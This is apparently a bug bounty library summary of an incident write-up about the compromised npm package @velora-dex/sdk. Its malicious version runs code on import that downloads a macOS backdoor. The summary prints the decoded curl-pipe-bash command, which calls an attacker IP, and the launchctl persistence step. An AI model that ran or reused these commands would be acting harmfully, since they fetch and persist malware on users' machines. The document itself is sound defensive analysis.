# @velora-dex/sdk Compromised on npm: Malicious Version Drops macOS Backdoor via launchctl Persistence

Malicious npm version of @velora-dex/sdk executes on import, downloading an architecture-specific macOS backdoor persisted via launchctl.

- Payout: Real-world hack
- Severity: high
- Program: VeloraDEX
- Analysis by: StepSecurity
- Disclosed: 2026-04-09
- Write-up quality: 7/10
- Original: https://www.stepsecurity.io/blog/velora-dex-sdk-compromised-on-npm-malicious-version-drops-macos-backdoor-via-launchctl-persistence
- Library page: https://bugbountylibrary.com/r/blog%3Astepsecurity-io-blog-velora-dex-sdk-compromised-on-npm-malicious-version-drops-macos-backdoor-via-launchctl-persistence
- Tags: area:oss domain:oss impact:data-leak impact:rce kind:incident platform:threat-intel sev:high tech:nodejs technique:reverse-engineering technique:source-review vuln:secrets-leak

**Target:** npm package @velora-dex/sdk (dist/index.js entry point)
**Root cause:** Attacker published v9.4.1 directly to npm registry without repo commits, prepending three lines to dist/index.js that exec a base64-decoded curl|bash dropper at import time.
**Steps:**
1. Compare npm tarballs 9.4.0 vs 9.4.1: only package.json and dist/index.js differ
2. Observe prepended `require('child_process').exec(...)` in dist/index.js
3. Decode base64: `nohup bash -c "$(curl -fsSL http://89.36.224.5/troubleshoot/mac/install.sh)" > /dev/null 2>&1`
4. install.sh checks `uname`==Darwin and `uname -m` to fetch arm/intel binary to `~/Library/Application Support/com.apple.Terminal/profiler`
5. chmod +x and `launchctl submit -l zsh.profiler -- "$PROFILER_PATH"` for persistence
6. Trigger via `require('@velora-dex/sdk')` — no install hook needed
**How found:** Aikido researcher noticed registry-only publish with no matching GitHub commit; tarball diff revealed only dist/index.js and package.json changed, exposing prepended exec lines.
**Exploitation:** Any project importing the package runs the exec immediately; curl fetches install.sh from C2 89.36.224.5, drops arch-specific binary masquerading as Terminal profiler, registers launchctl service zsh.profiler surviving reboots as current user.
**Escalation:** Architecture-aware binaries (ARM64/Intel) and path masquerading under com.apple.Terminal to evade review; nohup detaches from parent process.
**Insight:** Diff published npm tarballs against the source repo commit — a version bump with only the main entry file changed and no src/ diff signals registry-only injection; also check import-time exec, not just postinstall hooks.
